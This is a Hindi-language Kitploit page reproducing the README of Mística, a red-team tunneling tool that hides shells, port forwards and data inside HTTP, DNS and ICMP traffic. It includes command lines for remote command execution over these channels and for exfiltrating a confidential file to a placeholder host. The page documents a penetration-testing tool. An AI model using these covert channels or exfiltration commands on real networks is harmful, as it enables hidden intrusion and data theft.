Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
Mistica — एक ओपन सोर्स स्विस आर्मी नाइफ जो एप्लिकेशन प्रोटोकॉल पर मनमाना संचार करने के लिए है। | Kitploit
उपकरण/GitHubGitHub/incidedigital/mistica
डेटा निष्कासनवेब सुरक्षानेटवर्क सुरक्षापेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोलरेड टीमिंगDNS विश्लेषण
GitHubincidedigital/mistica

Mistica

एक ओपन सोर्स स्विस आर्मी नाइफ जो एप्लिकेशन प्रोटोकॉल पर मनमाना संचार करने के लिए है।

रिपॉजिटरी देखें
2454955 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Mística

Mística Logo
Mística Logo द्वारा JoelGMSec

Mística एक ऐसा उपकरण है जो डेटा को एप्लिकेशन लेयर प्रोटोकॉल फ़ील्ड में एम्बेड करने की अनुमति देता है, जिसका उद्देश्य मनमाना संचार के लिए एक द्वि-दिशात्मक चैनल स्थापित करना है। वर्तमान में, HTTP, HTTPS, DNS और ICMP प्रोटोकॉल में एनकैप्सुलेशन लागू किया गया है, लेकिन निकट भविष्य में और अधिक प्रोटोकॉल शामिल करने की उम्मीद है।

Mística का एक मॉड्यूलर डिज़ाइन है, जो SOTP नामक एक कस्टम ट्रांसपोर्ट प्रोटोकॉल के आसपास बनाया गया है: Simple Overlay Transport Protocol। डेटा को एन्क्रिप्ट किया जाता है, टुकड़ों में विभाजित किया जाता है और SOTP पैकेट्स में रखा जाता है। SOTP पैकेट्स को एन्कोड किया जाता है और एप्लिकेशन प्रोटोकॉल के वांछित फ़ील्ड में एम्बेड किया जाता है, और दूसरे छोर पर भेजा जाता है।

SOTP लेयर का उद्देश्य न्यूनतम ओवरहेड के साथ एक सामान्य बाइनरी ट्रांसपोर्ट प्रोटोकॉल प्रदान करना है। SOTP पैकेट्स को आसानी से वैध एप्लिकेशन प्रोटोकॉल में छिपाया या एम्बेड किया जा सकता है। साथ ही SOTP यह सुनिश्चित करता है कि पैकेट दूसरे छोर तक पहुँचें, RC4 का उपयोग करके डेटा को एन्क्रिप्ट करता है (यह भविष्य में बदल सकता है), और पोलिंग मैकेनिज्म का उपयोग करके सूचना को दोनों दिशाओं में पारदर्शी रूप से प्रवाहित करने में सक्षम बनाता है।

मॉड्यूल विभिन्न उद्देश्यों के लिए SOTP लेयर के साथ इंटरैक्ट करते हैं:

  • Wrap मॉड्यूल या Wrappers: ये मॉड्यूल SOTP पैकेट्स को एप्लिकेशन लेयर प्रोटोकॉल से/में एन्कोड/डिकोड करते हैं।
  • Overlay मॉड्यूल: ये मॉड्यूल SOTP चैनल पर संचार करते हैं। उदाहरण हैं: io रीडायरेक्शन (netcat की तरह), शेल (कमांड निष्पादन), पोर्ट फ़ॉरवर्डिंग...

Wrapper और overlay मॉड्यूल एक साथ काम करके कस्टम एप्लिकेशन बनाते हैं, जैसे DNS पर इनपुट रीडायरेक्शन या HTTP पर रिमोट पोर्ट फ़ॉरवर्डिंग।

Mística का मॉड्यूलर डिज़ाइन नए मॉड्यूल के आसान विकास की अनुमति देता है। साथ ही, उपयोगकर्ता किसी कस्टम फ़ील्ड या एन्कोडिंग का उपयोग करने या किसी overlay मॉड्यूल के व्यवहार को संशोधित करने के लिए आसानी से वर्तमान मॉड्यूल को फ़ोर्क कर सकता है।

दो मुख्य सॉफ़्टवेयर टुकड़े हैं:

  • Mística सर्वर (ms.py): ऐसे मॉड्यूल का उपयोग करता है जो वांछित एप्लिकेशन लेयर प्रोटोकॉल (HTTP, HTTPS, DNS, ICMP...) के सर्वर के रूप में कार्य करते हैं। इसे इस तरह से डिज़ाइन किया गया है कि ms.py के एक ही इंस्टेंस के साथ एक ही समय में कई सर्वर, wrappers और overlays को चलाने की अनुमति मिलती है, हालाँकि यह सुविधा अभी तक पूरी तरह से लागू नहीं हुई है।
  • Mística क्लाइंट (mc.py): ऐसे मॉड्यूल का उपयोग करता है जो वांछित एप्लिकेशन लेयर प्रोटोकॉल (HTTP, HTTPS, DNS, ICMP...) के क्लाइंट के रूप में कार्य करते हैं। यह एक समय में केवल एक overlay और एक wrapper का उपयोग कर सकता है।

डेमो

आप निम्नलिखित प्लेलिस्ट में कुछ Mística डेमो देख सकते हैं

निर्भरताएँ

इस प्रोजेक्ट की बहुत कम निर्भरताएँ हैं। वर्तमान में:

  • Mística क्लाइंट को कम से कम Python 3.7 की आवश्यकता है
  • Mística सर्वर को कम से कम Python 3.7 और dnslib की आवश्यकता है।``` python3.7 -m pip install pip --user pip3.7 install dnslib --user
root@kitploit:~
यदि आप अपने सिस्टम पर पायथन स्थापित नहीं करना चाहते हैं, तो आप निम्नलिखित पोर्टेबल संस्करणों में से किसी एक का उपयोग कर सकते हैं:

- https://www.anaconda.com/distribution/#download-section (विंडोज़, लिनक्स और मैकओएस के लिए)
- https://github.com/winpython/winpython/releases/tag/2.1.20190928 (केवल विंडोज़ के लिए)

## वर्तमान मॉड्यूल

ओवरले मॉड्यूल:

- `io`: स्टडिन से पढ़ता है, SOTP कनेक्शन के माध्यम से भेजता है। SOTP कनेक्शन से पढ़ता है, स्टडआउट पर प्रिंट करता है
- `shell`: SOTP कनेक्शन के माध्यम से प्राप्त कमांड निष्पादित करता है और आउटपुट लौटाता है। io मॉड्यूल के साथ संगत।
- `tcpconnect`: TCP पोर्ट से कनेक्ट होता है। सॉकेट से पढ़ता है, SOTP कनेक्शन के माध्यम से भेजता है। SOTP कनेक्शन से पढ़ता है, सॉकेट के माध्यम से भेजता है।
- `tcplisten`: TCP पोर्ट पर बाइंड होता है। सॉकेट से पढ़ता है, SOTP कनेक्शन के माध्यम से भेजता है। SOTP कनेक्शन से पढ़ता है, सॉकेट के माध्यम से भेजता है।

रैप मॉड्यूल:

- `dns`: विभिन्न विधियों का उपयोग करके DNS क्वेरी/प्रतिक्रियाओं में डेटा को एनकोड/डिकोड करता है
- `http`: विभिन्न विधियों का उपयोग करके HTTP या HTTPS अनुरोध/प्रतिक्रियाओं में डेटा को एनकोड/डिकोड करता है
- `icmp`: डेटा अनुभाग पर ICMP इको अनुरोध/प्रतिक्रियाओं में डेटा को एनकोड/डिकोड करता है

## उपयोग

`ms.py`: Mística Server

सहायता संदेश इस प्रकार दिखता है:```txt
usage: ms.py [-h] [-k KEY] [-l LIST] [-m MODULES] [-w WRAPPER_ARGS]
             [-o OVERLAY_ARGS] [-s WRAP_SERVER_ARGS]

Mistica server. Anything is a tunnel if you're brave enough. Run without
parameters to launch multi-handler mode.

optional arguments:
  -h, --help            show this help message and exit
  -k KEY, --key KEY     RC4 key used to encrypt the comunications
  -l LIST, --list LIST  Lists modules or parameters. Options are: all,
                        overlays, wrappers, <overlay name>, <wrapper name>
  -m MODULES, --modules MODULES
                        Module pair in single-handler mode. format:
                        'overlay:wrapper'
  -w WRAPPER_ARGS, --wrapper-args WRAPPER_ARGS
                        args for the selected overlay module (Single-handler
                        mode)
  -o OVERLAY_ARGS, --overlay-args OVERLAY_ARGS
                        args for the selected wrapper module (Single-handler
                        mode)
  -s WRAP_SERVER_ARGS, --wrap-server-args WRAP_SERVER_ARGS
                        args for the selected wrap server (Single-handler
                        mode)
  -v, --verbose         Level of verbosity in logger (no -v None, -v Low, -vv
                        Medium, -vvv High)

Mística सर्वर में दो मुख्य मोड हैं:

  • Single Handler Mode: जब ms.py को पैरामीटर के साथ लॉन्च किया जाता है, तो यह एकल ओवरले मॉड्यूल को एकल रैपर मॉड्यूल के साथ इंटरैक्ट करने की अनुमति देता है।
  • Multi-handler Mode: (अभी तक प्रकाशित नहीं) जब ms.py को बिना पैरामीटर के चलाया जाता है, तो उपयोगकर्ता एक इंटरैक्टिव कंसोल में प्रवेश करता है, जहां कई ओवरले और रैपर मॉड्यूल लॉन्च किए जा सकते हैं। ये मॉड्यूल कुछ प्रतिबंधों के साथ एक-दूसरे के साथ इंटरैक्ट करने में सक्षम होंगे।

mc.py: Mística क्लाइंट

इस प्रकार हेल्प मैसेज दिखता है:```txt usage: mc.py [-h] [-k KEY] [-l LIST] [-m MODULES] [-w WRAPPER_ARGS] [-o OVERLAY_ARGS]

Mistica client.

optional arguments: -h, --help show this help message and exit -k KEY, --key KEY RC4 key used to encrypt the comunications -l LIST, --list LIST Lists modules or parameters. Options are: all, overlays, wrappers, , -m MODULES, --modules MODULES Module pair. Format: 'overlay:wrapper' -w WRAPPER_ARGS, --wrapper-args WRAPPER_ARGS args for the selected overlay module -o OVERLAY_ARGS, --overlay-args OVERLAY_ARGS args for the selected wrapper module -v, --verbose Level of verbosity in logger (no -v None, -v Low, -vv Medium, -vvv High)

root@kitploit:~
### पैरामीटर

- `-l, --list` का उपयोग या तो सभी मॉड्यूल को सूचीबद्ध करने, केवल एक प्रकार को सूचीबद्ध करने (`overlays` या `wrappers`) या उन पैरामीटरों को सूचीबद्ध करने के लिए किया जाता है जिन्हें कोई निश्चित मॉड्यूल `-o`, `-w` या `-s` के माध्यम से स्वीकार कर सकता है।
- `-k, --key` का उपयोग उस कुंजी को निर्दिष्ट करने के लिए किया जाता है जिसका उपयोग ओवरले संचार को एन्क्रिप्ट करने के लिए किया जाएगा। यह क्लाइंट और सर्वर में समान होना चाहिए और वर्तमान में अनिवार्य है। यदि भविष्य में सीक्रेट-शेयरिंग योजनाएं लागू की जाती हैं तो यह बदल सकता है।
- `-m, --modules` का उपयोग यह निर्दिष्ट करने के लिए किया जाता है कि आप किस मॉड्यूल जोड़ी का उपयोग करना चाहते हैं। आपको निम्नलिखित प्रारूप का उपयोग करना होगा: **overlay_module** + **:** + **wrap_module**। यह पैरामीटर भी अनिवार्य है।
- `-w, --wrapper-args` आपको रैप मॉड्यूल के लिए एक विशेष कॉन्फ़िगरेशन निर्दिष्ट करने की अनुमति देता है।
- `-o, --overlay-args` आपको ओवरले मॉड्यूल के लिए एक विशेष कॉन्फ़िगरेशन निर्दिष्ट करने की अनुमति देता है।
- `-s, --wrap-server-args` केवल `ms.py` पर मौजूद है। यह आपको रैप सर्वर के लिए एक विशेष कॉन्फ़िगरेशन निर्दिष्ट करने की अनुमति देता है। प्रत्येक रैप मॉड्यूल की एक रैप सर्वर पर निर्भरता होती है, और दोनों कॉन्फ़िगरेशन को ट्यून किया जा सकता है।

## उदाहरण और उन्नत उपयोग

> याद रखें कि आप `-l <module_name>` टाइप करके किसी मॉड्यूल के सभी स्वीकृत पैरामीटर देख सकते हैं (जैसे `./ms.py -l dns`)। साथ ही अपने संचारों की सुरक्षा के लिए एक लंबी और जटिल कुंजी का उपयोग करना याद रखें!

### HTTP

HTTP एनकैप्सुलेशन के विभिन्न तरीकों को समझाने के लिए, प्रत्येक उदाहरण में IO रीडायरेक्शन ओवरले मॉड्यूल (`io`) का उपयोग किया जाएगा।

- डिफ़ॉल्ट URI में b64 एन्कोडिंग के साथ HTTP GET विधि, localhost और पोर्ट 8080 (डिफ़ॉल्ट मान) का उपयोग करते हुए।
  - Mística Server: `./ms.py -m io:http -k "rc4testkey"`
  - Mística Client:  `./mc.py -m io:http -k "rc4testkey"`
- डिफ़ॉल्ट URI में b64 एन्कोडिंग के साथ HTTP GET विधि, **IP पता और पोर्ट निर्दिष्ट करते हुए**।
  - Mística Server: `./ms.py -m io:http -k "rc4testkey" -s "--hostname x.x.x.x --port 10000"`
  - Mística Client:  `./mc.py -m io:http -k "rc4testkey" -w "--hostname x.x.x.x --port 10000"`
- **कस्टम URI** में b64 एन्कोडिंग के साथ HTTP GET विधि, localhost और पोर्ट 8080 (डिफ़ॉल्ट मान) का उपयोग करते हुए।
  - Mística Server: `./ms.py -m io:http -k "rc4testkey" -w "--uri /?token="`
  - Mística Client:  `./mc.py -m io:http -k "rc4testkey" -w "--uri /?token="`
- **कस्टम हेडर** में b64 एन्कोडिंग के साथ HTTP GET विधि, localhost और पोर्ट 8080 (डिफ़ॉल्ट मान) का उपयोग करते हुए।
  - Mística Server: `./ms.py -m io:http -k "rc4testkey" -w "--header laravel_session"`
  - Mística Client:  `./mc.py -m io:http -k "rc4testkey" -w "--header laravel_session"`
- डिफ़ॉल्ट फ़ील्ड में b64 एन्कोडिंग के साथ HTTP **POST** विधि, localhost और पोर्ट 8080 (डिफ़ॉल्ट मान) का उपयोग करते हुए।
  - Mística Server: `./ms.py -m io:http -k "rc4testkey" -w "--method POST"`
  - Mística Client:  `./mc.py -m io:http -k "rc4testkey" -w "--method POST"`
- **कस्टम हेडर** में b64 एन्कोडिंग के साथ HTTP **POST** विधि, localhost और पोर्ट 8080 (डिफ़ॉल्ट मान) का उपयोग करते हुए।
  - Mística Server: `./ms.py -m io:http -k "rc4testkey" -w "--method POST --header Authorization"`
  - Mística Client:  `./mc.py -m io:http -k "rc4testkey" -w "--method POST --header Authorization"`
- **कस्टम फ़ील्ड** में b64 एन्कोडिंग के साथ HTTP **POST** विधि, localhost और पोर्ट 8080 (डिफ़ॉल्ट मान) का उपयोग करते हुए।
  - Mística Server: `./ms.py -m io:http -k "rc4testkey" -w "--method POST --post-field data"`
  - Mística Client:  `./mc.py -m io:http -k "rc4testkey" -w "--method POST --post-field data"`
- **कस्टम फ़ील्ड** में b64 एन्कोडिंग, कस्टम पैकेट आकार, कस्टम रिट्राइज़, कस्टम टाइमआउट और IP और पोर्ट निर्दिष्ट करने के साथ HTTP **POST** विधि:
  - Mística Server: `./ms.py -m io:http -k "rc4testkey" -w "--method POST --post-field data --max-size 30000 --max-retries 10" -s "--hostname 0.0.0.0 --port 8088 --timeout 30"`
  - Mística Client: `./mc.py -m io:http -k "rc4testkey" -w "--method POST --post-field data --max-size 30000 --max-retries 10 --poll-delay 10 --response-timeout 30 --hostname x.x.x.x --port 8088"`
- **कस्टम फ़ील्ड** में b64 एन्कोडिंग के साथ HTTP **POST** विधि, **कस्टम एरर टेम्पलेट का उपयोग करते हुए**, localhost और पोर्ट 8080 (डिफ़ॉल्ट मान) का उपयोग करते हुए।
  - Mística Server: `./ms.py -m io:http -k "rc4testkey" -w "--method POST --post-field data" -s "--error-file /tmp/custom_error_template.html --error-code 408"`
  - Mística Client: `./mc.py -m io:http -k "rc4testkey" -w "--method POST --post-field data"`
- डिफ़ॉल्ट URI में b64 एन्कोडिंग के साथ HTTP GET विधि, **कस्टम HTTP रिस्पॉन्स कोड** का उपयोग करते हुए और localhost और पोर्ट 8080 (डिफ़ॉल्ट मान) का उपयोग करते हुए:
  - Mística Server: `./ms.py -m io:http -k "rc4testkey" -w "--success-code 302"`
  - Mística Client: `./mc.py -m io:http -k "rc4testkey" -w "--success-code 302"`
- 443 पोर्ट का उपयोग करके डिफ़ॉल्ट URI में b64 एन्कोडिंग के साथ HTTPS GET विधि। ssl विकल्प का उपयोग करने के लिए Mistica Server में एक प्रमाणपत्र उत्पन्न किया जाना चाहिए, Mistica Client को केवल ssl फ़्लैग प्राप्त करने की आवश्यकता है:
  - Mística Server:
      - `openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes`
      - `sudo ./ms.py -m io:http -k "rc4testkey" -s "--port 443 --ssl --ssl-cert server.pem"`
  - Mística Client: `./mc.py -m io:http -k "rc4testkey" -w "--ssl --port 443"`
- डिफ़ॉल्ट URI में b64 एन्कोडिंग के साथ HTTP GET विधि, Mistica Client में प्रॉक्सी सर्वर का उपयोग करते हुए (उन वातावरणों में उपयोग किया जा सकता है जहां HTTP संचार अनिवार्य रूप से कॉर्पोरेट प्रॉक्सी से गुजरना चाहिए, जो कंप्यूटर कॉन्फ़िगरेशन में निर्दिष्ट नहीं है)। Burpsuite के साथ निम्नलिखित उदाहरण का परीक्षण करें:
  - Mística Server: `./ms.py -m io:http -k "rc4testkey" -s "--port 8000 --timeout 30"`
  - Mística Client:  `./mc.py -m io:http -k "rc4testkey" -w "--proxy 127.0.0.1:8080 --port 8000 --poll-delay 30 --response-timeout 30"`

### DNS

DNS एनकैप्सुलेशन के विभिन्न तरीकों को समझाने के लिए, प्रत्येक उदाहरण में IO रीडायरेक्शन ओवरले मॉड्यूल (`io`) का उपयोग किया जाएगा।

- TXT क्वेरी, localhost और पोर्ट 5353 (डिफ़ॉल्ट मान) का उपयोग करते हुए:
  - Mística Server: `./ms.py -m io:dns -k "rc4testkey"`
  - Mística Client:  `./mc.py -m io:dns -k "rc4testkey"`
- NS क्वेरी, localhost और पोर्ट 5353 (डिफ़ॉल्ट मान) का उपयोग करते हुए:
  - Mística Server: `./ms.py -m io:dns -k "rc4testkey" -w "--queries NS"`
  - Mística Client:  `./mc.py -m io:dns -k "rc4testkey" -w "--query NS"`
- CNAME क्वेरी, localhost और पोर्ट 5353 (डिफ़ॉल्ट मान) का उपयोग करते हुए:
  - Mística Server: `./ms.py -m io:dns -k "rc4testkey" -w "--queries CNAME"`
  - Mística Client:  `./mc.py -m io:dns -k "rc4testkey" -w "--query CNAME"`
- MX क्वेरी, localhost और पोर्ट 5353 (डिफ़ॉल्ट मान) का उपयोग करते हुए:
  - Mística Server: `./ms.py -m io:dns -k "rc4testkey" -w "--queries MX"`
  - Mística Client:  `./mc.py -m io:dns -k "rc4testkey" -w "--query MX"`
- SOA क्वेरी, localhost और पोर्ट 5353 (डिफ़ॉल्ट मान) का उपयोग करते हुए:
  - Mística Server: `./ms.py -m io:dns -k "rc4testkey" -w "--queries SOA"`
  - Mística Client:  `./mc.py -m io:dns -k "rc4testkey" -w "--query SOA"`
- TXT क्वेरी, localhost और पोर्ट 5353 (डिफ़ॉल्ट मान) और **कस्टम डोमेन** का उपयोग करते हुए:
  - Mística Server: `./ms.py -m io:dns -k "rc4testkey" -w "--domains mistica.dev sotp.es"`
  - Mística Client:
      - `./mc.py -m io:dns -k "rc4testkey" -w "--domain sotp.es"`
      - `./mc.py -m io:dns -k "rc4testkey" -w "--domain mistica.dev"`
- TXT क्वेरी, पोर्ट और होस्टनेम निर्दिष्ट करते हुए:
  - Mística Server: `./ms.py -m io:dns -k "rc4testkey" -s "--hostname 0.0.0.0 --port 1337"`
  - Mística Client:  `./mc.py -m io:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 1337"`
- TXT क्वेरी, एकाधिक सबडोमेन का उपयोग करते हुए:
  - Mística Server: `./ms.py -m io:dns -k "rc4testkey"`
  - Mística Client:  `./mc.py -m io:dns -k "rc4testkey" -w "--multiple --max-size 169"`

### ICMP

लिनक्स कर्नेल, जब इसे एक icmp echo रिक्वेस्ट पैकेज प्राप्त होता है, तो डिफ़ॉल्ट रूप से स्वचालित रूप से एक icmp echo रिप्लाई पैकेज के साथ उत्तर देता है (हमें उत्तर देने का कोई विकल्प दिए बिना)। यही कारण है कि हमें अपना खुद का डेटा भेजने में सक्षम होने के लिए icmp प्रतिक्रियाओं को अक्षम करना होगा जो क्लाइंट द्वारा भेजे गए डेटा से भिन्न होता है। ऐसा करने के लिए, हम निम्नलिखित करते हैं:

`/etc/sysctl.conf` फ़ाइल को संपादित करके कर्नेल द्वारा स्वचालित icmp प्रतिक्रियाओं को अक्षम करें (*रूट आवश्यक*):

- अपने /etc/sysctl.conf में निम्नलिखित पंक्ति जोड़ें:```
net.ipv4.icmp_echo_ignore_all=1
  • फिर, प्रभावी होने के लिए sysctl -p चलाएँ।

अब, ICMP एनकैप्सुलेशन के विभिन्न तरीकों को प्रदर्शित करने के लिए, प्रत्येक उदाहरण में IO रीडायरेक्शन ओवरले मॉड्यूल (io) का उपयोग किया जाएगा।

  • ICMP डेटा सेक्शन, इंटरफ़ेस eth0 का उपयोग करते हुए:
    • Mística सर्वर: ./ms.py -m io:icmp -k "rc4testkey" -s "--iface eth0"
    • Mística क्लाइंट: ./mc.py -m io:icmp -k "rc4testkey" -w "--hostname x.x.x.x"

शेल और IO

आप io और shell मॉड्यूल को मिलाकर, एक कस्टम चैनल पर mística का उपयोग करके रिमोट कमांड निष्पादन प्राप्त कर सकते हैं। उदाहरण:

  • DNS पर TXT क्वेरी का उपयोग करके क्लाइंट सिस्टम पर कमांड निष्पादित करना।

    • Mística सर्वर: sudo ./ms.py -m io:dns -k "rc4testkey" -s "--hostname x.x.x.x --port 53"
    • Mística क्लाइंट: ./mc.py -m shell:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 53"
  • HTTP पर GET अनुरोधों का उपयोग करके सर्वर सिस्टम पर कमांड निष्पादित करना:

    • Mística सर्वर: ./ms.py -m shell:http -k "rc4testkey" -s "--hostname x.x.x.x --port 8000"
    • Mística क्लाइंट: ./mc.py -m io:http -k "rc4testkey" -w "--hostname x.x.x.x --port 8000"
  • ICMP पर क्लाइंट सिस्टम पर कमांड निष्पादित करना:

    • Mística सर्वर: ./ms.py -m io:icmp -k "rc4testkey" -s "--iface eth0"
    • Mística क्लाइंट: ./mc.py -m shell:icmp -k "rc4testkey" -w "--hostname x.x.x.x"
  • IO मॉड्यूल और रीडायरेक्ट ऑपरेटरों का उपयोग करके HTTP के माध्यम से फ़ाइलों को बाहर निकालना:

    • Mística सर्वर: ./ms.py -m io:http -s "--hostname 0.0.0.0 --port 80" -k "rc4testkey" -vv > confidential.pdf
    • Mística क्लाइंट (cmd से चलाना महत्वपूर्ण): type confidential.pdf | E:\Mistica\WPy64-3741\python-3.7.4.amd64\python.exe .\mc.py -m io:http -w "--hostname x.x.x.x --port 80" -k "rc4testkey" -vv

tcpconnect और tcplisten के साथ पोर्ट फ़ॉरवर्डिंग

  • HTTP पर रिमोट पोर्ट फ़ॉरवर्डिंग (सर्वर से देखा गया)। क्लाइंट पर पता 127.0.0.1:4444 सर्वर पर पते 127.0.0.1:5555 पर अग्रेषित किया जाएगा। 5555 पर पहले से कुछ सुनना चाहिए।
    • Mística सर्वर: ./ms.py -m tcpconnect:http -k "rc4testkey" -s "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 5555"
    • Mística क्लाइंट: ./mc.py -m tcplisten:http -k "rc4testkey" -w "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 4444"
  • DNS पर लोकल पोर्ट फ़ॉरवर्डिंग (सर्वर से देखा गया)। सर्वर पर पता 127.0.0.1:4444 क्लाइंट पर पते 127.0.0.1:5555 पर अग्रेषित किया जाएगा। 5555 पर पहले से कुछ सुनना चाहिए।
    • Mística सर्वर: sudo ./ms.py -m tcplisten:dns -k "rc4testkey" -s "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 4444"
    • Mística क्लाइंट: ./mc.py -m tcpconnect:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 5555"

Docker

स्थानीय उपयोग के लिए एक Docker इमेज बनाई गई है। यह हमें Python या dnslib स्थापित करने से बचाता है यदि हम केवल टूल का परीक्षण करना चाहते हैं, यह डिबग या इसी तरह के लिए भी बहुत दिलचस्प है क्योंकि हम अन्य स्थानीय अनुप्रयोगों द्वारा उत्पन्न शोर से बचते हैं। इसे बनाने के लिए हम बस इन चरणों का पालन करते हैं:

  • पहले छवि को इसके साथ बनाएँ:``` sudo docker build --tag mistica:latest .
root@kitploit:~
* दूसरा, निम्नलिखित के साथ नेटवर्क बनाएं:```
sudo docker network create misticanw
  • तीसरा, सर्वर को चलाएं:``` sudo docker run --network misticanw --sysctl net.ipv4.icmp_echo_ignore_all=1 -v $(pwd):/opt/Mistica -it mistica /bin/bash
root@kitploit:~
* चौथी बार क्लाइंट को इसके साथ चलाएँ:```
sudo docker run --network misticanw -v $(pwd):/opt/Mistica -it mistica /bin/bash

कैसे संकलित करें

Mística एक Python में विकसित उपकरण है, जिसका अर्थ है कि सैद्धांतिक रूप से इसे संकलित किया जा सकता है।

उपकरण को संकलित करने के लिए हम Pyinstaller का उपयोग करेंगे, यह उपकरण हमें एक बाइनरी उत्पन्न करने की अनुमति देगा (हम जिस ऑपरेटिंग सिस्टम में हैं उसके आधार पर), इसका मतलब है कि हम C, C++, Golang, Rust आदि जैसी अन्य भाषाओं की तरह क्रॉस-कंपाइलिंग नहीं कर सकते। हम इसे संभव बनाने के लिए काम कर रहे हैं, हालांकि, हम आपको Pyinstaller कमांड दे रहे हैं जो हमें किसी भी ऑपरेटिंग सिस्टम में Mística को संकलित करने की अनुमति देगा:

Mistica Client संकलित करें

चूंकि Mística Client की कोई निर्भरता नहीं है, इसे सीधे Pyinstaller से संकलित किया जा सकता है। इसे संकलित करने के लिए निम्नलिखित चरणों का पालन करें:

  • पहले, Python3.7 या उच्चतर के लिए pyinstaller स्थापित करें:``` python3.7 -m pip install pyinstaller --user
root@kitploit:~
* और अब, Mística Client को निम्नलिखित कमांड के साथ संकलित करें:```
pyinstaller --onefile \
  --hiddenimport overlay.client.io \
  --hiddenimport overlay.client.shell \
  --hiddenimport overlay.client.tcpconnect \
  --hiddenimport overlay.client.tcplisten \
  --hiddenimport wrapper.client.http \
  --hiddenimport wrapper.client.dns \
  --hiddenimport wrapper.client.icmp \
  --hiddenimport overlay.server.io \
  --hiddenimport overlay.server.shell \
  --hiddenimport overlay.server.tcpconnect \
  --hiddenimport overlay.server.tcplisten \
  --hiddenimport wrapper.server.wrap_module.http \
  --hiddenimport wrapper.server.wrap_module.dns \
  --hiddenimport wrapper.server.wrap_module.icmp \
  --hiddenimport wrapper.server.wrap_server.httpserver \
  --hiddenimport wrapper.server.wrap_server.dnsserver \
  --hiddenimport wrapper.server.wrap_server.icmpserver \
  mc.py

Mistica सर्वर संकलित करें

यदि आप Mística सर्वर को संकलित करना चाहते हैं तो आपको Pip के साथ, Dnslib लाइब्रेरी को वैश्विक रूप से इंस्टॉल करना होगा (याद रखें कि यह Mística की एकमात्र निर्भरता है, और केवल Mística सर्वर के लिए)। ऐसा करने के लिए आपको निम्नलिखित चरणों का पालन करना होगा:

  • सबसे पहले, अपने Windows, Linux या Mac सिस्टम पर Python3.7 या उच्चतर संस्करण इंस्टॉल करें।
  • दूसरे, Pip के साथ Dnslib लाइब्रेरी इंस्टॉल करें: pip install dnslib ("--user" फ़्लैग के बिना, इस तरह यह सिस्टम पर वैश्विक रूप से इंस्टॉल होगा, अन्यथा pyinstaller इसे छिपे हुए आयात के रूप में जोड़ने में सक्षम नहीं होगा। इस चरण के लिए व्यवस्थापक अनुमतियाँ आवश्यक हैं)
  • तीसरे, Pip के साथ Pyinstaller लाइब्रेरी इंस्टॉल करें: pip install pyinstaller.
  • और चौथे, निम्नलिखित कमांड से Mística सर्वर को संकलित करें:``` pyinstaller --onefile
    --hiddenimport overlay.client.io
    --hiddenimport overlay.client.shell
    --hiddenimport overlay.client.tcpconnect
    --hiddenimport overlay.client.tcplisten
    --hiddenimport wrapper.client.http
    --hiddenimport wrapper.client.dns
    --hiddenimport wrapper.client.icmp
    --hiddenimport overlay.server.io
    --hiddenimport overlay.server.shell
    --hiddenimport overlay.server.tcpconnect
    --hiddenimport overlay.server.tcplisten
    --hiddenimport wrapper.server.wrap_module.http
    --hiddenimport wrapper.server.wrap_module.dns
    --hiddenimport wrapper.server.wrap_module.icmp
    --hiddenimport wrapper.server.wrap_server.httpserver
    --hiddenimport wrapper.server.wrap_server.dnsserver
    --hiddenimport wrapper.server.wrap_server.icmpserver
    --hiddenimport dnslib
    ms.py
root@kitploit:~
## भविष्य के कार्य

- क्रॉस-कंपाइलिंग विधि ताकि Mistica को लक्ष्य ऑपरेटिंग सिस्टम से किए बिना विभिन्न ऑपरेटिंग सिस्टमों के लिए संकलित किया जा सके।
- SOTP प्रोटोकॉल के लिए पारदर्शी Diffie-Hellman कुंजी निर्माण
- मल्टी-हैंडलर मोड: `ms.py` के लिए इंटरैक्टिव मोड। यह उपयोगकर्ता को एक से अधिक ओवरले को एक से अधिक रैपर और प्रति रैप सर्वर एक से अधिक रैप मॉड्यूल के साथ संयोजित करने देगा।
- कस्टम मॉड्यूल विकास के लिए मॉड्यूल विकास दस्तावेज़ीकरण। वर्तमान में यह हतोत्साहित किया जाता है क्योंकि मॉड्यूल विनिर्देश अभी भी विकास के अधीन है।
- अगले मॉड्यूल:
    - SMB रैपर
    - RAT और RAT हैंडलर ओवरले
    - SOCKS प्रॉक्सी और डायनामिक पोर्ट फ़ॉरवर्डिंग ओवरले
    - फ़ाइल स्थानांतरण ओवरले
    - RDP रैपर
- अधिक जटिल एनकैप्सुलेशन के लिए कस्टम HTTP टेम्पलेट
- कस्टम क्लाइंट या सर्वर के लिए SOTP प्रोटोकॉल विनिर्देश दस्तावेज़ीकरण। वर्तमान में यह हतोत्साहित किया जाता है क्योंकि प्रोटोकॉल अभी भी विकास के अधीन है।

## लेखक और लाइसेंस

यह परियोजना कार्लोस फर्नांडीज सांचेज और राउल कारो टेक्सिडो द्वारा विकसित की गई है। कोड GNU जनरल पब्लिक लाइसेंस v3 के तहत जारी किया गया है।

यह परियोजना तृतीय-पक्ष ओपन-सोर्स कोड का उपयोग करती है, विशेष रूप से:

- [Bitstring](https://github.com/scott-griffiths/bitstring) स्कॉट ग्रिफिथ्स द्वारा विकसित।
